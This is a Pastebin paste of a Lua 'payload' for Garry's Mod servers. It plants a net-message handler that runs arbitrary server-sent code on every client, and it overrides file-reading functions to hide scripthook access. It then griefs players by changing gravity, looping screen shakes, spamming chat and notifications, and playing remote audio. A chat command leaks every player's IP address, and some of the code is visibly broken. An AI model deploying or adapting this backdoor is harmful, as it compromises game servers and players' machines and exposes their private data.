Maxdace66

PayLoad GMOD Rayman3

Sep 7th, 2019
1,208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.30 KB | None | 0 0
  1. util.AddNetworkString("Rayman3")
  2.  
  3. function payload( ply )
  4.     ply:SendLua( "net.Receive([[Rayman3]], function() RunString(net.ReadString()) end)" )
  5. end
  6. local bypass = [=====[
  7. if !fRead then
  8. fRead=file.Read
  9. fOpen=file.Open
  10. end
  11.  
  12. file.Open=function(fn,fm,path)
  13. loh=nil
  14. loh=string.Explode("/",fn)
  15. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  16. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  17. return ""
  18. else
  19. return fOpen(fn,fm,path)
  20. end
  21. end
  22.  
  23. file.Read=function(fn,path)
  24. loh=nil
  25. loh=string.Explode("/",fn)
  26. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  27. chat.AddText("someone tried grabbing ur file named "..fn..".")
  28. return ""
  29. else
  30. return fRead(fn,path)
  31. end
  32. end
  33.  
  34. ]=====]
  35.  
  36. function runcode(ply, code)
  37.     net.Start( "Rayman3" )
  38.         net.WriteString("if SERVER then return '' end "..bypass.." "..code )
  39.     net.Send( ply )
  40. end
  41.  
  42. for k, v in pairs( player.GetAll() ) do
  43.     payload( v )
  44. end
  45.  
  46. function run_chaos()
  47.  
  48. hook.Add( "PlayerAuthed", "wat", function( ply )
  49.     payload(ply)
  50. end )
  51.  
  52. BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/RaymanFunky.m4a", "stereo", function() end )]])
  53.  
  54. -- ton code ici --
  55.  
  56. RunConsoleCommand( "sv_gravity", "200" )
  57. RunConsoleCommand( "sv_friction", "-3" )
  58.  
  59. end
  60.  
  61. if !hook.GetTable().PlayerInitialSpawn.podsos then
  62. hook.Add("PlayerInitialSpawn", "podsos", function()
  63. timer.Simple(10, function()
  64. run_chaos()
  65. end)
  66. end)
  67. run_chaos()
  68. end
  69.  
  70. for k,v in pairs(player.GetAll() ) do
  71.     timer.Create("textoncenter", 26.1, 0, function()
  72.         runcode(v, [==[
  73.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
  74.         ]==])
  75.     end)
  76. end
  77.  
  78. for k, ply in pairs( player.GetAll() ) do
  79.     ply:ChatPrint( "Rayman a rejoint la partie" )
  80.     ply:ChatPrint( "Globux a rejoint la partie" )
  81.     ply:ChatPrint( "Murfy a rejoint la partie" )
  82.     ply:ChatPrint( "Les Ptizêtres a rejoint la partie" )
  83.     ply:ChatPrint( "Les Fées a rejoint la partie" )
  84.     ply:ChatPrint( "Les docteurs a rejoint la partie" )
  85.     ply:ChatPrint( "André a rejoint la partie" )
  86.     ply:ChatPrint( "Les Hoodlums a rejoint la partie" )
  87.     ply:ChatPrint( "Les Crabes Ninja a rejoint la partie" )
  88.     ply:ChatPrint( "Les Podocrocks a rejoint la partie" )
  89.     ply:ChatPrint( "Les Piranhas a rejoint la partie" )
  90.     ply:ChatPrint( "Les Bouillaboues a rejoint la partie" )
  91.     ply:ChatPrint( "Les Ronces géantes a rejoint la partie" )
  92.     ply:ChatPrint( "Les Poulets-Zombies a rejoint la partie" )
  93.     ply:ChatPrint( "Les Knaarens a rejoint la partie" )
  94.     ply:ChatPrint( "Le Xowar a rejoint la partie" )
  95.     ply:ChatPrint( "Master Kaag a rejoint la partie" )
  96.     ply:ChatPrint( "Bégoniax a rejoint la partie" )
  97.     ply:ChatPrint( "Razoff a rejoint la partie" )
  98.     ply:ChatPrint( "Céloche l'Araignée Métallique a rejoint la partie" )
  99.     ply:ChatPrint( "Gumsi a rejoint la partie" )
  100.     ply:ChatPrint( "Reflux a rejoint la partie" )
  101.     ply:ChatPrint( "L'Horrible Machine a rejoint la partie" )
  102.     ply:ChatPrint( "Le Leptys a rejoint la partie" )
  103. end
  104.  
  105. for k,v in pairs(player.GetAll() ) do
  106.     timer.Create("notifspam", 1.1, 0, function()
  107.         local vars2 = { "NOTIFY_GENERIC" , "NOTIFY_ERROR" , "NOTIFY_UNDO" , "NOTIFY_HINT", "NOTIFY_CLEANUP" }
  108.         local vars3 = {"Globox","Rayman","Murfy","Les Ptizêtres","Les Fées", "Les docteurs","André","Les Hoodlums","Les Crabes Ninja","Les Podocrocks","Les Piranhas","Les Bouillaboues","Les Ronces géantes","Les Poulets-Zombies","Les Knaarens","Le Xowar","Master Kaag","Bégoniax","Razoff","Céloche l'Araignée Métallique","Gumsi","Reflux","L'Horrible Machine","Le Leptys","Globox","Rayman","Murfy","Les Ptizêtres","Les Fées", "Les docteurs","André","Les Hoodlums","Les Crabes Ninja","Les Podocrocks","Les Piranhas","Les Bouillaboues","Les Ronces géantes","Les Poulets-Zombies","Les Knaarens","Le Xowar","Master Kaag","Bégoniax","Razoff","Céloche l'Araignée Métallique","Gumsi","Reflux","L'Horrible Machine","Le Leptys"}
  109.         runcode(v, [==[                
  110.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_GENERIC , 2 )
  111.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_ERROR , 2 )
  112.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_UNDO , 2 )
  113.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_HINT , 2 )
  114.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_CLEANUP , 2 )
  115.         ]==])
  116.         timer.Create( "spamnotifafter", 0.1, 0, function()
  117.             runcode(v, [==[
  118.                 notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", ]==]..vars2[math.random(1,#vars2)]..[==[ , 2 )
  119.             ]==])
  120.         end)
  121.     end)
  122. end
  123.  
  124. local ray = {}
  125. function ray:RandomString( intMin, intMax )
  126.     local ret = ""
  127.     for _ = 1, math.random( intMin, intMax ) do
  128.         ret = ret.. string.char( math.random(65, 90) )
  129.     end
  130.  
  131.     return ret
  132. end
  133.  
  134. for k, ply in pairs( player.GetAll() ) do
  135.     ply:ChatPrint( "Rayman a rejoint la partie" )
  136.     ply:ChatPrint( "Globux a rejoint la partie" )
  137.     ply:ChatPrint( "Murfy a rejoint la partie" )
  138.     ply:ChatPrint( "Les Ptizêtres a rejoint la partie" )
  139.     ply:ChatPrint( "Les Fées a rejoint la partie" )
  140.     ply:ChatPrint( "Les docteurs a rejoint la partie" )
  141.     ply:ChatPrint( "André a rejoint la partie" )
  142.     ply:ChatPrint( "Les Hoodlums a rejoint la partie" )
  143.     ply:ChatPrint( "Les Crabes Ninja a rejoint la partie" )
  144.     ply:ChatPrint( "Les Podocrocks a rejoint la partie" )
  145.     ply:ChatPrint( "Les Piranhas a rejoint la partie" )
  146.     ply:ChatPrint( "Les Bouillaboues a rejoint la partie" )
  147.     ply:ChatPrint( "Les Ronces géantes a rejoint la partie" )
  148.     ply:ChatPrint( "Les Poulets-Zombies a rejoint la partie" )
  149.     ply:ChatPrint( "Les Knaarens a rejoint la partie" )
  150.     ply:ChatPrint( "Le Xowar a rejoint la partie" )
  151.     ply:ChatPrint( "Master Kaag a rejoint la partie" )
  152.     ply:ChatPrint( "Bégoniax a rejoint la partie" )
  153.     ply:ChatPrint( "Razoff a rejoint la partie" )
  154.     ply:ChatPrint( "Céloche l'Araignée Métallique a rejoint la partie" )
  155.     ply:ChatPrint( "Gumsi a rejoint la partie" )
  156.     ply:ChatPrint( "Reflux a rejoint la partie" )
  157.     ply:ChatPrint( "L'Horrible Machine a rejoint la partie" )
  158.     ply:ChatPrint( "Le Leptys a rejoint la partie" )
  159. end
  160.  
  161.  
  162. for k,v in pairs(player.GetAll() ) do
  163.     timer.Create("textoncenter", 26.1, 0, function()
  164.         runcode(v, [==[
  165.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
  166.         ]==])
  167.     end)
  168. end
  169.  
  170.  
  171.  
  172. for k,v in pairs(player.GetAll() ) do
  173.     timer.Create("textoncenter", 26.1, 0, function()
  174.         runcode(v, [==[
  175.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 9999999, 100000 )
  176.         ]==])
  177.     end)
  178. end
  179.  
  180. ray.m_tblActions = {}
  181. ray.m_strImageGlobalVar = ray:RandomString( 6, 12 )
  182. ray.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  183.  
  184. function ray:PushAction( intChainDelay, func )
  185.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  186. end
  187.  
  188.  
  189. hook.Add( "PlayerSay", "Print All IPs", function( pSender, strText, bTeamChat )
  190.         if strText:sub( 1, 5 ) == "/IPs" then
  191.         pSender:PostLua( [[
  192.        
  193.             local id = ]] .. LocalPlayer():UserID() .. [[
  194.            
  195.             for k, v in pairs( player.GetAll() ) do
  196.                
  197.                 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
  198.                
  199.             end
  200.  
  201.         ]] )
  202.        
  203.         pSender:Notify( "Printed all IPs into chat." )
  204.    
  205.     end
  206. end)
Advertisement
Add Comment
Please, Sign In to add comment